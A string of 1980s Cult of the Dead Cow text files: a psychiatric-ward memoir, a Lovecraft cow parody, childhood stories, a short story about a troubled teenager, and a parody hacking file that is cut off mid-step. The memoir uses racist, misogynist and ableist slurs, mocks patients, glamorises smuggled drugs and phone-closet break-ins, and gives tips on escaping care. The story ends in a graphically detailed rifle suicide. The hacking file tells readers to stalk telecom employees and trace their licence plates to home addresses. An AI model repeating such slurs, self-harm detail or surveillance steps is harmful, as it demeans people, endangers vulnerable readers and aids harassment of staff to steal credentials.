that dare spoke to me as whores, fags, etc. I wasn't a "nice" guy. After I
calmed down I was given full privileges (i.e. I could leave the ward for a
while and then come back and leave again). I used this to my advantage in
having fun. Like I was still heavily into phreaking at this time and I had a
blast bustin' my way into the hospital's "secure" telephone closets (which I
cannibalized quite thoroughly). In case you're wondering what kinda people I
was holed up with, then here are a few examples:
There was this dude sitting in a chair in the Rec room with his bag
packed. I sauntered up to him and politely asked him what in the
hell he was doing. He said that he was waiting for the 11:00 PM
train. I asked him where it was heading. He said Mars.
There was this fat-assed bitch and she had one hell of a foul temp-
erment. I asked about her and some of the nurses told me that she
was merely stopping off here and was headed for Butner (a real, live
nuthouse for the totally insane). She was diagnosed as psychotic.
I had a penchant for post-nuclear war role playing games at the time
and was pouring over Aftermath (one of dem games) and she asked what
it was. I told her. We then got into a full-fledged debate. She
was trying to prove that nuclear war was NEVER going to happen and
wasn't possible. I merely tried to point out that it IS possible and
CAN happen. Along the way somewhere I caught her contradicting her-
self and threw it right in her face. Man, did she have a fuckin
temper tantrum. Geez. That's about when the PA's (patient asst.)
threw her into a straight jacket. Wooh.
I was waiting to use the phone. This dude in front of me was like
totally fucked. He dialed a number and started talking to God. I'm
sure. So he was saying that he wanted to get offa the planet 'cause
everyone around him was crazy. What a laugh.
There was this 20 year old black bitch from Virginia after my ass.
I mean not like suggestive, but just fucking nutso. Fuckin went
into my room, got naked and like waited in my bed. She wasn't bad
looking or anything, but I prefer fucking girls that aren't crazy.
And I'm talking REAL fucking crazy (ie, cranial decomposition).
Ever see a metal/core dude blow a gasket? Snap..crackle..pop...
Get the picture? I hope so. Anyways, I wouldn't have survived if my
friends hadn't brought me my Metallica tapes and smuggled me in dope. About
this time a friend of mine from school was brought in (for suicide also) and we
bunked up together (I was sick of my old room mate -- some black dude that was
taken for electro-shock therapy (I think they called it ECP treatment) all da
time and man, did he smell like shit... he was old and didn't give a shit).
Anyways, my friend's girlfriend visited us and came back the next day
with a friend of hers and we fucked 'em. Man was it good. It'd been a while
and I enjoyed every minute of it (but this isn't some lame sex file so I'll
like get on with it). Before you start raising hell, scope the scene out, get
on the good side of yer doc (so you can get yer privileges), and be cool.
Find the crazies and have fun with 'em (it's generally a blast to talk
to a schizo). Take, for example, the dude I gave as an example above (the one
who was talking to God on the phone). I had some serious hell with him. I
like acted crazy and generally freaked him out. I wrote some poetry and shit
that was real evil and death-oriented and showed it to this prude. He gave me
the ultimate compliment... he shuddered and called me an evil and sick demento.
What a swell fuckup. Just fuck around, make passes at the nurses, etc. When
ya get your privileges the fun begins.
Wander around the hospital and raise hell. I stole a full set of
scrubs (ya know, the green suits the surgeons wear when they cut yer ass open
with knives and forks of the stainless steel variety). Get your friends to
come pick you up and go to McDonald's or BK (hospital food sucks raw moose
cock). Hell, I dunno, just have a fun time. Go for rides on gurneys. I got
in this wheel chair and pretended to be some crip dude (no offense to any
crippled people out there). It was a blast. I sat here and called the nurses
that came to take my blood vamps and told 'em to fuck off (needles aren't my
style).
So basically, I just got stoned all the time (extra-high cause of some
of the medication I was taking at the same time), fucked around, caused
trouble, and all kindsa shit. Usually a bunch of us cool people (and we were
the definite minority) ordered out for pizza and watched tv (wow, what a commie
thing to do) and had bizarre discussions ranging from death to aliens.
If you're 18 or over and wanna get out legally, sign an AMA (Against
Medical Advice) and sign yourself out. I would have done this but for two
reasons: I was 17 at the time (now I be 19, w0w) and if I had signed myself out
my mom wouldn't have let me come home.
I found a bunch of ways to escape but didn't feel like hangin' in some
shitty cardboard box downtown with all the heroin addicts so I like stayed. I
was also not in any condition to stay at a friend's place (mood swings ranging
swiftly from depression to violence aren't good for keeping friendships). If
you have your privileges leaving is as simple as walking away (if they catch
wind of this they'll call the cops). Basically take yer important stuff and
get your friends to come and get your other stuff later. While I was there
this old lady made a break for it and got away. I was rootin' for her all the
way (hell, she got away from the cops).
As an end note, I have one thing to say: suicide is really not the way
to go. Nah, just hang in and bear it. People tell me that God didn't want me
to die cause he has many things planned for me. Maybe so, but was it really
God? At any rate, I am a lot more different (and strange) now. I guess shit
like this changes your outlook on things. I can get more hateful, sick,
demented, and evil now than I could two years ago. It's much more fun now. As
a side effect, I also get depressed a lot and end up drinking lots of alcohol
and using lots of drugs and generally feeling like everybody has been pissing
on me. Well, ya can't have the good without the bad (what an asinine adage).
"War inside my head ain't a pretty sight
But I don't want no sympathy
It's happened a thousand times before
It's just a harsh reality"
-- Suicidal Tendencies, "War Inside My Head"
"You're the prisoner locked in your cell
You're living in your personal hell
Invisible bars block your view
They don't exist, except for you"
-- Suicidal Tendencies, "The Prisoner"
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(U) (U)
THE NAMELESS PASTURE
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Scribed by The Raver, Teller of Strange Legends
>>> A CULT Publication......1988 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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The tales of the Bovine mythos cycle are strange and diverse. Although
some of our terrible order's members prefer to scribe tales of present day
Bovinity, I opt for tales of a dark and terrible past, a time when the Bovine
stalked the earth unheeded by mankind.
"...The wailings of the mad are but the birth-cries of
the new man - the old man gone like dust in the desert
wind. Cleansed of the lies of mankind, the new man -
the man of darkness - is free to absorb the beauty of
nothingness, to glory in the stark night of the utter
void. As your useless reason dissolves, rejoice in the
knowledge that others in as diverse places as Texas and
North Carolina have walked the same path, have drunk
the same blood, have reveled in the same prospect of
everlasting night, as you..."
-- Keeper of the Bovine Gate
'Tis true, we are evil in our potent writings and scriptures of the Cow.
But this is only for a reason. The following passage describes this point very
well. Much better than I could, indeed.
"...You do not yet know the true gods. Everything you
know is a lie. The Great Bovine Ones - these are the
true rulers of the Universe; these and others you have
not yet heard of will be the objects of your adulation,
your emotion, your love. You are the fortunate ones -
the time may come, if you give your selfless devotion,
that you will worship in the flesh in the Temples of
the Nameless Pasture, whose glory is beyond your
comprehension."
-- Catechism of the High Priests of the Bovine
The following tale is a true one and depicts the place that many Cultees
desire to be... the dreaded Nameless Pasture, where Bob-Sothoth rules supreme
and the blood of thousands runs rampant through the stalks of Cow-Bane. This
tale is not for the faint of heart. Nay. You have been forewarned.
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In a distant land, in a distant time, the mad arab, Abdul Alhazred, began
a horrific journey into the Roba El Kaliyeh ("Empty Space"), the vast desert of
southern Arabia. The time was AD 715 and Alhazred was quite mad. After
traversing the ruins of Babylon and the strange subterranean catacombs beneath
the archaic ruins of Memphis who would not be? Alhazred, in his demented mind,
thought that the vast desert would allow him the peace and tranquility that he
so desperately needed. Unfortunately, this was not to be...
As Alhazred traversed the shifting sands, his mind wandered back to the
days when he was but a simple cow herdsman. All was well, until that day...
the day that he heard a cow utter the following phrase in an ancient tongue:
"Ia! Ia! Bob-Sothoth fhtagn! Ph'nglui mglw'nafh Bob-Sothoth wgha-nagl
fhtaga!" Ever since that time seventeen years ago Alhazred had not been the
same. He had afterwards began a vast quest to discover why the cows he had
herded had talked and exactly who and what Bob-Sothoth is... or was. Alhazred
began his quest almost a score of years ago and felt that he was close to the
ultimate answer. During his nights with the cows those years past he had heard
their urgent mooings. What did they mean? Were the cows possessed of daemons?
What in the hell was going on?
As Alhazred continued his bizarre cycle of thought he noticed not the
paved stones peeking up at him from the sand below his sandled feet. Only when
he tripped on a large crack did he notice the fragmented pavement beneath him.
"What?" thought Alhazred. A road in the middle of a vast expanse of desert?
Filled with curiosity Alhazred decided it best to follow the ancient road.
Soon darkness overtook the world and day became night.
As the moon climbed higher in the sky he began to see that the slopes of
desert began to rise. Urged by an impulse which he could definitely not
analyze, Alhazred scrambled with difficulty up the dunes... Upon reaching the
top of the tremendous circle of dunes he stood silently, gazing into the
stygian depths where no light had yet penetrated.
All at once his attention was captured by a vast and singular object on
the opposite slope, which rose steeply about a hundred yards ahead of him; an
object that gleamed brightly in the newly bestowed rays of the ascending moon.
He assured himself that it was merely a piece of gigantic stone; but he was
conscious of an instinct impression that its contour and position were not
altogether the work of Nature. A closer scrutiny filled him with sensations
he could not express; for despite its enormous magnitude, and its position in
an abyss which had yawned in the middle of a vast desert since the world was
young, he perceived beyond a doubt that the strange object was a well-shaped
monolith whose massive bulk had known the workmanship and perhaps the worship
of living and thinking creatures.
Dazed and frightened, yet not without a certain thrill of the scientist's
or archaeologist's delight, Alhazred examined his surroundings more closely.
The moon, now near the zenith, shone vividly above the towering steeps that
hemmed in the chasm revealed that far below rested a great area of flat land.
As he inspected the monolith more closely he noticed that, though eroded by
the billowing sands, it was still identifiable as... a cow. Footholds were
aplenty and Alhazred began the laborious trek downwards into the vast chasm.
As Alhazred dropped from a low ledge to the base of the chasm he uttered a
slightly audible groan. His feet had hit not sand but wheat. As he regained
his feet he surveyed his surroundings. For hundreds of yards the great field
reared into the distance.. far off he thought that he saw a mass of some sort
but it was dark and he was unsure. He slowly set off towards the mass.
Somewhere off in the distance he thought he heard the frenzied mooings of some
unspeakable Bovine beast, but he convinced himself that it was probably just
the wind.
When Alhazred was within earshot of the vast mass he did hear the frenzied
mooings of some sort of beast. Shaking with fear he moved closer only because
of fear of what might be lurking around the vast pasture. As he got closer he
saw that the mass was indeed a building, a temple.. broken colonnades paraded
around the temple and strange bas-reliefs covered its face...it was too dark
to clearly make out what the reliefs depicted. Alhazred began to circumvent
the temple looking for some means of egress. Soon he found a rubbled hole in
a wall. The hole poured with a dim light and the smell of greasy smoke. He
crouched down so that he could peer inside.
Inside he saw a vast chamber filled with a slime-coated liquid that was
obviously water. The chamber was dominated by a Cyclopean monolith, on whose
surface he could now trace both inscriptions and crude sculptures. The
writing was in a system of hieroglyphics unknown to Alhazred, consisting for
the most part of Bovine creatures and the like. Several characters obviously
represented beasts not of the modern world.
It was the pictorial carving, however, that did most to hold him spell-
bound. Plainly visible across the intervening monolith on account of their
enormous size was an array of bas-reliefs whose subjects would have excited the
envy of a Dore. He thought these things were supposed to depict cows - at
least, a certain sort of cow; though the creatures were shown disporting like
cows in great pastures, or paying homage at some monolithic shrine which
appeared to be in a pasture as well. Of their faces and forms he dared not
speak in detail; for the mere remembrance mad him grow faint. Grotesque beyond
the imagination of a Poe or a Bulwer, they were damnably Bovine in general
outline despite loathsome tentacles, cilia covered with congealed slime, wide
with flabby lips, glassy, bulbous eyes, and other features less pleasant
to recall. Curiously enough they seemed to be chiseled badly out of proportion
with their scenic background. Alhazred decided that they were merely the
imaginary gods of some race lost in the vestiges of time. Awestruck at this
unexpected glimpse into the past, he stood musing whilst the moon cast queer
reflections on the stone walls around him.
Then he saw it. With only a slight churning to mark its rise to the
surface, the thing slid into view above the dark waters. Vast,polyphemus-
like, and loathsome, it darted like a stupendous monster of nightmares to the
monolith, about which it flung its gigantic scaly tentacles, the while it bowed
its hideously horned head and gave to certain measured mooings. Alhazred went
mad then.
On his frantic ascent of the cliff and dune slopes, and of his delirious
journey back to Damascus, he remembered little. Alhazred sang a great deal,
and laughed oddly when unable to sing. He had distinct recollections of a
great storm some time after ascending out of the blasted heath in the middle
of the Roba El Kaliyeh; at any rate, he knew that he heard peals of thunder
and other tones which Nature utters only in her wildest moods.
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It was this experience that prompted Abdul Alhazred to scribe the original
Arabic text, AL AZIF, later translated into the BOVINOMICON. This rare work
deals with many complex matters, including the idea that Bovine mooings are
actually the language of daemons from the outer regions of the cosmos.
"...do you dare imagine things as they can be? As, indeed they will be
when the earth is transformed and the illusion of reality is erased from the
minds of men by the annihilation of those minds? Do you live in hope to see
Great Bob-Sothoth stride the earth? Do you dream of the Throne of Yog-Elsie,
of joining the faithful that mosh there? O, purify yourselves, then, for these
and greater things await you who are members of our terrible order..."
-- Part of a speech heard outside of a home in a Winston-Salem, NC, suburb
"The world is indeed comic, but the joke is on mankind." -- H.P. Lovecraft
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"Creative Writing, Second Grader Style"
By Hanover Fiste
Today I was looking through some stuff and found a little folder
with my name written in crayon on it. Inside were a collection of
papers I wrote back when I was in second grade.
It appears to me they were what the teacher considered my best
work in creative writing class. They are all written on tablet paper
and some of them are illustrated.
What follows are most of the stories. Of course, they have been
edited, I wooden't whant to konfuze u with the orginal mispelings or the
lack of proper grammar, which doesn't appear to be necessary for most
second graders.
"It's raining cats and dogs"
One cold Monday, it started. The streets were frozen. First
came down mothballs, then later cats and dogs. They sneazed their way
from the heaven to earth. The cats scratched people on their faces and
backs. Cats alone killed 109 people. Five people died from shock and the
noise. It really was awful. But I was safe inside.
The End
Comments:
Acompanying the story was a drawing of a cloud with a dog and
cat inside it. A shirtless man has a frown on his face and his hands
in the air. Another man wearing a green shirt lies on the
ground screaming, "Help..."
I must have been a very sadistic child for writing a story like
this. I wonder if space on the paper prevented me from writing about what
the dogs did to the people. This really is my favorite story. I wonder
what the teachers reaction was.
-*-
If I were a talking toy
I would be a toy jet space solder, with jets for speed and a toy
laser light. I'd talk really fast and sound funny. You would like me.
I run on batteries, but plug me in and I'd become amazing. You could
control me for machines.
On Independence day I would fly up and make sparks. I cost
$1,000 and you could borrow me for twenty-five cents. A smaller
version, that did less amazing things would cost $100 and be rented for
ten cents.
I am a toy robot made to help children.
Comments:
At the bottom of the page is a drawing of a little blue robot with
arms and wheels saying, "Happy speeding friends!"
When I was little, I always wanted a set of tin toy soldiers but
my parents would never get me them. I was also fascinated by robots and
lasers. I was, however, lucky enough to have a remote control R2-D2
robot. I suppose this story was what I must have thought to be the
ultimate toy.
-*-
There's a phantom on my block.
Tuesday night it happend. My best friend came over to spend the
night. First we told ghost stories, then this big blue thing with a
green tongue hit me. That morning when we woke up there was green
slime.
Later that day, we went alley hunting. We found some green
slimy foot prints leading up to a cave. We went in and saw the same
blue thing. It had green eyes and said, "Hi, would you like to have
some tea?"
We answered yes that we would. The thing told us it was from
Mars and that we weren't in a cave, but a spaceship. We asked the
Martian if we could go for a ride. As the ship took off, my friend and
I exclaimed "Zowee!"
An hour later we landed. We said bye and the Martian apologized
for scaring us earlier. So if you meat a phantom, be friendly.
Comments:
Drawing is a big blue monster with red hair going all the way
down it's back. Monster has light blue eyes and is holding a steering
wheel. On a pedestal is a Play-Doh looking can that says Lime-Slime.
The teacher must have really enjoyed this one because the top of
the page has "Good" written on it. I suppose it isn't that bad for 2nd
grade Sci-Fi, I did seem to have something going with the phantom
actually being an alien.
In the story there is a reference to "alley hunting". When I
was six or seven that was my hobby. I would walk around the alley
behind the houses in Lubbock looking for all the cool stuff people had
thrown out. My favorite quote at the time was "One man's trash is
another's treasure."
I remember being deathly scared of climbing in the dumpsters. I
didn't have the concept that trashmen were on a schedule, so I was
always worried the trash truck would be coming by to take the dumpster.
-*-
Monster Night
One night I was scared. I thought a monster was there. But it
was a tree.
My Dream
The big trolls were after me. They were eating everything. We
got them.
The End
Comments:
These were on a mimeographed worksheet. I took the liberty of
coloring it. I can remember both being scared by the tree and having
nightmares about trolls.
-*-
The Lone Knight of Thunder
One day a knight took a ride. In the woods were it started to
rain. He saw a with and ran. And then a wind came. The witch and
knight flew a blur.
They went so fast it made thunder in the sky. The with and
knight blew away in the sky.
Comments:
I don't really care to much for this story, I just like the
drawing, it shows an orange horse similar to those in Thundar the
Barbarian cartoons, one of my favorites at the time. The knight isn't
even in the picture, for all I know I wrote the story after the picture.
-*-
Anyway, that's what I wrote about when I was in second grade. I
really don't know what the average person at that age writes about. I
think the teacher wrote whatever the title was supposed to be and we
took it from there.
I remember at the end of the school year the teacher told me
that I was the reason all her hair turned gray. I think back then I
actually believed it. About two years ago I saw that same teacher. She
couldn't believe I had grown up. I have absolutly no idea if you
remember what I was like.
The End
( A little 2nd grade humor )
TJH

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by Peter Flechette
>>> a cDc publication.......1990 <<<
-cDc- CULT OF THE DEAD COW -cDc-
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"Ton-EEEEEEE! Are you coming to church or not??" Mom's voice reverb-
erated down the narrow, wood-paneled stairway leading to Tony's basement room.
Tony Lundquist, who had been about to drop the needle, froze. He rolled his
eyes toward the stained ceiling, gave the fist-sized volume knob a hefty crank
clockwise and dropped it.
"StrangulationmutilationcanceroftheBRAIN! Limbdissectionamputationfrom
amindDERANGED!!" he shouted as the ninety-eight second micro-opera
"Necrophobic" shuddered and buzzed his big black speakers.
This -he knew- would do the trick, and he was not disappointed as he
faintly heard Mom shout: "When I return, young man, you and I will have a
little talk about MORAL DECAY!" So he'd have to sit through another of her
ever-briefer lectures; big fucking deal. One thing Tony had learned in his
past fourteen years is that the punishment was always a better deal than the
consequences of NOT biting back. Sure, his body had hurt for two weeks after
he stabbed that nun with the compass point. But he sure as hell hadn't been
sent back to that school. Soon after, Dad moved off to Montana and took his
leather belt with him. Unlike Daddy, Mom would never hit him; she would just
chew him out and swallow yet another heaping helping of guilt which would
further distend the Belly of our Savior. Tony thought of a hugely pregnant
Jesus hanging bleeding from the Cross with large, gravid breasts and laughed
loudly over the barbedwirespeedmetal cracking the paint and wondered, for the
ten-thousandth time, if he was going insane.
Bill Olson had watched Tony's mom leave the house across the street and
walk hurriedly toward church. He quickly grabbed the large dufflebag and
headed down the stairs. Closing his own front door behind him, Bill walked
across the street to Tony's house and ducked into the garage. Arriving at the
side entrance which led indirectly to Tony's room, Bill rapped on the aluminum
screen door twice, then three more times. No answer. Bill cursed under his
breath: "Goddamn your blood, Tony, turn that down and answer the fuckin' door!"
Bill knew that he only had an hour or so before his mother returned from
worship and he had to tell Tony all about the unbelievable "yank film" he had
seen on the PLayboy Channel last night. Mind-boggling juggernauts! Tony was
gonna shit!! A lull in the din faintly assaulting Bill's eardrums manifested
itself and he feverishly repeated the secret knock.
The cheaply-manufactured hollow-core door swung open to admit Bill. "Hey
buddy, you are gonna SHIT!" he chortled as he scurried into Tony's private
domain. "What's with all the pills, pal?"
"I dunno," replied Tony, scooping up a few of the spilled aspirin and
pouring them back in the bottle. "I ain't been feeling well."
"Bullshit! You're trying to get HIGH, Jack! That won't work and don't
try smoking banana peels, either. My brother had a friend who tried that and
he went blind. You can get cyanide poisoning from the fumes of the burning
banana."
"Bullshit."
"You're the one who's fulla shit!"
"It's bullshit."
"You callin' my brother a liar?!"
Tony flopped on his unmade bed. "Nah, I just think it's bullshit.
Whatcha got in the bag?"
Bill brightened. "You ain't gonna BELIEVE what I got in the bag. But
first I gotta tell ya about last night. They went out and forgot to lock the
fuckin' box, man!! I had the Playboy Channel goin' all night!! They had WOMEN
ON SEX which was pretty dumb; some psychologist who looked like a dyke yakkin'
about the G-spot was like, a total myth and how women could only obtain
pleasure through non-sexist-oriented pornography and a buncha stuff. But after
that they had SEXCETERA and there was this great thing on public sex in New
York with this chick in a black leather jacket that was just like flashing guys
on the street and EVERYTHING!"
"You're shittin' me!"
"I swear! It was really awesome! She had these whompmonster tits! And
she'd like lick her lips and stuff. The guys on the street were just totally
gassing. And then they had this... oh man, you're not gonna believe this! It
was like in Japan and they had this restaurant where these Japanese guys go to
eat really disgusting stuff so they can get their dicks hard. The cook is just
smiling away and he's chopping on this slimy fish with a big knife. And they
eat all this stuff just so they can get boners! I dunno; maybe the women in
Japan are weird or something. They were drinking wine that had a SNAKE in the
bottle; pickled snake. And they ask this guy what he's eating and he says: RAW
HOG TESTICLE! He's stuffing this gross thing in his mouth and his girlfriend
is just sitting there woofing! It was mind-slicing!!"
Tony recumbent on his bead, regarded Bill with a gaze normally reserved
for blithering cretins and two-headed dogs. "Oh, yeah sure Billy. Are you
sure it wasn't raw DRAGON testicle? You are so fullashit..."
"What's your DAMAGE, Tony? I ain't lyin'! And after this weird shit they
showed NEW WAVE HOOKERS with Traci. And she was... great."
"Yeah?"
"Yeah."
"Let's go to the mall."
"Your mom'll kill ya."
"Fuck that bitch."
The dufflebag was opened in a pre-mall ritual; Bill pulling forth a rusted
and scratched single-shot 30-30 deer rifle with a broken stock, salvaged from a
neighborhood dumpster. The two youths discussed whether this sorry-looking
piece would actually fire, Bill displaying a box of cartridges purloined from
his father's hardware store. There didn't seem to be much hope for the old
blunderbuss, so Tony stashed it under his bed and the two shuffled off to the
corner to catch a big red bus.
Our two young heroes disembarked at Horsedale, the newest and biggest of
the mega-malls which ringed the Minneapolis area like hemorrhoids. The boys
made the proverbial beeline for Power Records, where they knew their buddy Rod
Gumhedd would be working. Rod was a sleazed-out wastrel with a serious lust
for the parent-upsetting louderfasterharder shit that Bill & Tony worshipped.
Rod kept a small stash of elpees with skulls on 'em tucked in a bin across from
the CD racks, and the boys headed straight for it. Bill picked up a copy of
LUKE 66:6 by the Buzzsaw Boners, flipped it over and whistled. "Check this
out, man. 'On your knees for the Buzzsaw Boners: the masters of pure bellig-
erence and destruction. A brutal assault on the senses.'"
"Oh yeah? Well listen to this: 'The Cruel Bastards rip the fuckin' top
right off yer skull with just one hamfisted powerchord. Must be all those
Stooges, Dolls, Ramones, and Pistols records they eat for breakfast'" read Tony
from the back of NEVER MIND THE HOMOS, HERE'S THE CRUEL BASTARDS.
"Good stuff, eh boys?" inquired Rod, who wore a doleful face despite his
cheery Charles Manson T-shirt.
"Yeah!! When you gonna get that album by the Reverb Motherfuckers?"
"I got some bad news for you guys. I got the axe yesterday and all this
stuff is going back to the warehouse tomorrow. You guys are gonna have to go
to Garage d'Or from now on, 'cause that's where I'll be working. We got a lot
more cool stuff down there, though: The Fiendish Thingies, Raped Elvis,
Duckfuckers Ahoy... real BITCHIN' bands!"
"Aw shit, Rod, that's a fifty-minute bus ride!"
Rod shrugged, black leather lapels gyrating. "Hey, guys. All these folks
out here groove on is CD's. If you want any of this wax, you better make with
the scratch like, el mas rapido, because soon it will be gone like spit ona
griddle." Bill and Tony's fallen faces told the story of empty pockets and
blown allowances.
A creeping, splitting, familiar pain like a nail being slowly driven into
his left eye socket followed Tony out into the mall with Bill (bitching) in
tow. He reached in his jacket pocket for an aspirin and bit down on it. The
chalky bitterness he had come to enjoy flooded his mouth. It tasted of funeral
pyres.
"I heard that those CD's are all gonna oxidize in about five years; the
lettering on 'em starts to rot and they all go bad. I heard a defective CD
once on the radio and it sounded like Max Headroom on acid!" Tony was deafened
by fantasies of breaking bones, exposed marrow, electrical wires; he barely
heard Bill's incessant chatter as they strode along the mallwalk. It took a
hearty shout from the Queen of Jockstraps, Miss Hut-Hut-Hut herself - Barb
Johnson - to stop the pain-addled teenager in his tracks.
"Well, if it isn't the Neezer Twins from Biology!" bellowed the six-foot
cornfed blonde teen Brunhilda, hands on hips, flanked by her giggling and
equally loathsome toadie, Cindy Nelson. "Frog Pox! Frog Pox! Saaaaaaaaad!"
It was impossible to ignore or evade these letter-jacketed harpies blocking the
mallwalk like bovine pylons. Bill sneered. Tony stared. Cindy struck a
phonus-balonus cheesecake pose which mocked the sexual frustrations of teenage
boys across the nation and hollered: "Hey neezlehead! Wannna get lucky?" She
walked up to Tony and tweaked his nose, hard, causing involuntary tears to come
to his eyes. The two she-devils walked past in full guffaw as Bill managed to
squeak out some stilted slur rooted in venereal fiction. Tony clung to the
railing, mortified to the core, stomach twisting like a freshly-speared moray
eel, face hot/wet/red. He lurched towards the bathroom.
Splashing cold water on his head and softly sobbing, Tony pondered just
what in the fuck ELSE could go wrong today. Home meant catching H-E-double-L
from the old witch and tomorrow meant that Goddamn Biology Test. What was the
difference between a zygote and a mitochondria and who gave a flying fuck about
it anyway? He knew, instinctively, that he would NEVER get laid. Not in this
lifetime. "Hey son, you OK? You don't look so good..." opined some concerned
middle-aged bathroom bystander. Tony turned a pair of bleary eyes toward him;
Inner Third Eye pictures the bastard - the piece of FLESH - crushed in Satan's
claw, flesh rent from bone, torn and oozing... what pain Christ must have felt
as they scourged him with that splintering board!
"FUCK YOU!" screamed Tony, for no reason he could fathom. The citizen's
face darkened.
"Watch your language or I'll have you thrown out of this mall. You little
shit." Citizen spun on his heel and stalked out of the shitter as a loud bowel
sound split the air inside one of the stalls. Tony whirled to face the stall,
daggers in the eyes, and spied:
Faded brown corduroys crumpled around brown leather shoes. Brown paper
bag with brown cylinder paper bag perched on top of the contents. Brown
cylinder with screw-top poking out front. Bingo. Thank you, General Molotov.
Tony rushed to the stall and deftly, with the agility of an unjaded cat
burglar, grabbed the bottle out of the shopping bag and hurtled out of the
bathroom with curses from the freshly-robbed spud wishing him an unfond
farewell.
Tony and Bill spent the next two hours in the Everyburger parking lot
consuming most of a quart of pricey vodka mixed with soda pop, as the sun sank
in a pasty sky.
Little unsteady steps on the dirty snow brought Tony back to the shitty
little house heated with Mom's alimony checks. He knew she would lock his
side-door from the inside so that he would have to go through the living room
to get in. He reached into his jacket and poured another slug into the system.
Stuff no longer burned like gasoline... more like kerosene. The bottle slipped
from his fingers and impaled a mound of snow. Tony blundered through the front
door and into the acrid haze of Mommy's smoldering Salem Lights. Two in the
ashtray and one in her slit of a mouth. "You stinking little shit. You're
just like your father, that bastard. He talked me out of using the coat
hanger. Should have..." she staggered toward him, "...put a little hole..."
she put out her leathery, sweat-slimed palm, "right in the center... of...
your...forehead!" SLAP!
As shitfaced as the teenager was, he realized that this mother was in
worse shape. The odor of juniper twigs boiled in rubbing alcohol tickled his
pickled nostrils. He stepped sideways and made it to the stairs, closing the
door behind him and in front of her, twisting the deadbolt. Slipped, grabbed
the rail and rode it all the way down to his room. Unable to find the record;
pulled a bunch of 'em out on the floor and spotted the cast iron fist almost by
default. Motorhead always made 33-and-a-third sound like 120 miles-per-hour
with your face hanging two inches from the asphalt, and that was what Tony
needed at the moment. "The invisible hand in front of me" hummed over the
asphalt and Tony closed his eyes... then JERKED them open as the room began to
spin. What a total fuckup, he thought, can't even manage to pass out
successfully. The huge, powerful monster - blacker than Michael Milken's heart
- grabbed him around the shoulders and bit into the back of his head. Tony
howled in anguish and fear and slid off his bed onto the floor. His hand went
under the bed and came out with Bill's dufflebag attached ot it.
And the copper-jacketed spire-point cartridge fit precisely into the
single chamber.
And the point of the broken stock fit precisely in the corner of the room.
And the crown of the muzzle fit precisely in the center of Tony's
forehead.
FiringpinslidingdownitsoilyTRACK.
DentingtheprimerscrapingtheANVIL.
FierysparksignitingthePOWDER.
BurninggasesexpandingpushingtheBULLET.
OutofthecaseanddownthetwistingSPOUT.
PickingupspeedspirallingoutpasttheCROWN.
SpirepointstretchingskinandmakingitTAUT.
ThespireofcopperbreaksthroughandgoesIN.
FragmentsofmetalshavedbylandsandGROOVES.
HurledbytherotatingprojectileintotheWOUND.
BlastofexpandinggassesbetweenskullandSCALP.
TearsthroughskinleavingthedefectCRUCIATE.
MinutedbonefragmentsshredtheBRAIN.
NomorePAIN.
Mrs. Lundquist poured a tad more Diet Pepsi into the glass to help cut the
taste of the gin and wondered aloud: "What in the FUCK is he listening to
now??"
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[ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412
\ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020
(' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976
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THE *ONLY* WAY TO GET TELENET THINGIES
by Tequila Willy
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| TEQUILA WILLY'S GREAT SUBTERRANEAN CARNIVAL: <209>/526-3194 |
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lines up! ---> into a t-file was conceived by Tequila Glory For
Willy (that's me).. Actually, honestly Me!
(see the pureness of my Bovine being?)
Swamp Rat and I were chatting away and
I thought it might make one wow t-file
so it 'twas written..Well, actually it
was scribed...Hmmm...hard to say...Not <--- Note the
really..I'm just attempting to get the excessive
paragraph here to form a lil' box, and use of
I think I'm doing a good job.. Like I periods...
wanted to say, I just wrote the file..
but the ideas within (this tfile) were
formed by Swamp Rat and myself. Ta-da.
>>> A CULT Publication......1988 <<<
-cDc- CULT OF THE DEAD COW -cDc-
_______________________________________________________________________________
(The following file is buffoonery..ya..that is..well, it's a parody ya'll..)
_______________________________________________________________________________
08/15/88 <--]- That's the date!
2:20 p.m. PDT <--]- That's the exact time!
(sorta..almost..kinda)
If you're a REAL HACKER (like myself and L.E.) then you not only subscribe
to superior magazines like Hustler and National Geographic, but you also spend
a LOT of time (gobs of time i.e.) jackin--er..I mean, hacking Telenet.. Finding
new nodes to hack, planting viruses, and (of course) getting those radical
TELENET THINGIES...
<%=-------------------------------------------------------------------------=%>
[ Definition ]
(Do you like the way I used those brackets and the neato little line with the
groovy little "--=%>" pattern on the end? Ya..I knew you would! I stole that
one from "The Phreaker's Handbook" by Cat-Trax.. You remember, it's the file
that looks AMAZINGLY SIMILAR to great parts of "BIOC Agent 003's course in
BASIC TELECOMMUNICATIONS PART IV".. What the hell..I mean, so what if it's
plagiarism? I mean, if BIOC stole from Cat-Trax.....(Riiiigghhhttttt..[read
that with lots o' sarcasm..]))
Well, anyhow, back to the subject..like I was sayin'.. <ahem>..
[ Definition ]
(All you ELITE!1! people can skip over this part cause' you obviously already
know what I'm talking about, but I gotta stick this part in here for all the
LAMES that are reading this... hupho..)
*ELITE* people call Telenet thingies "Telenet thingies" so that all the pigs
and narcs won't catch on to the code... But since this is a "tutoring" file
I'll tell you exactly what Telenet thingies are....Just MAKE SURE that no pigs
or narcs get their hands on this file...
TELENET THINGIES a.k.a. TELENET IDs a.k.a. TELENET NUIs...
(Shhhhhhhhhhhhhhhhh...!)
ko...Now that you know what were going to be getting, we can get to the good
stuff...
[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]/[+]
[ The Good Stuff ]
(Notice the groovy little line I used to separate the main ideas?)
There are many ways to go about acquiring Telenet thingies...I will go over my
favorite methods for you...
METHOD I: Ransom
--------- ------
This is my favorite method..I've acquired at least 100+ IDs..er...TELENET
THINGIES..via this method. Here's whatcha do....
4 The first thing you have to do is locate the Telenet office in your
town/city/village.. If you don't know where it's located, simply pull a
CN/A on the number. Once you get the address where your local dial-up(s)
S are located, pay it a visit...(and bring something to write with and
p something to write on)..
a
c Stake out the office from the parking lot.. Wait for an employee to enter
e his/her vehicle and then write down the license plate number (unless you're
elite, then you can just use your photographic memory, but haye', don't
feel bad, we can't ALL be elite..)
M
a Wait around the parking lot some more and get the plate numbers of several
r more employees... After you have 5 or 6+ plate numbers you can do either
g of the following (depending if you're elite or not)...
i
n * The First Way (UNelite): Head on over to the DMV office and get the
! names and addresses of the owners of those
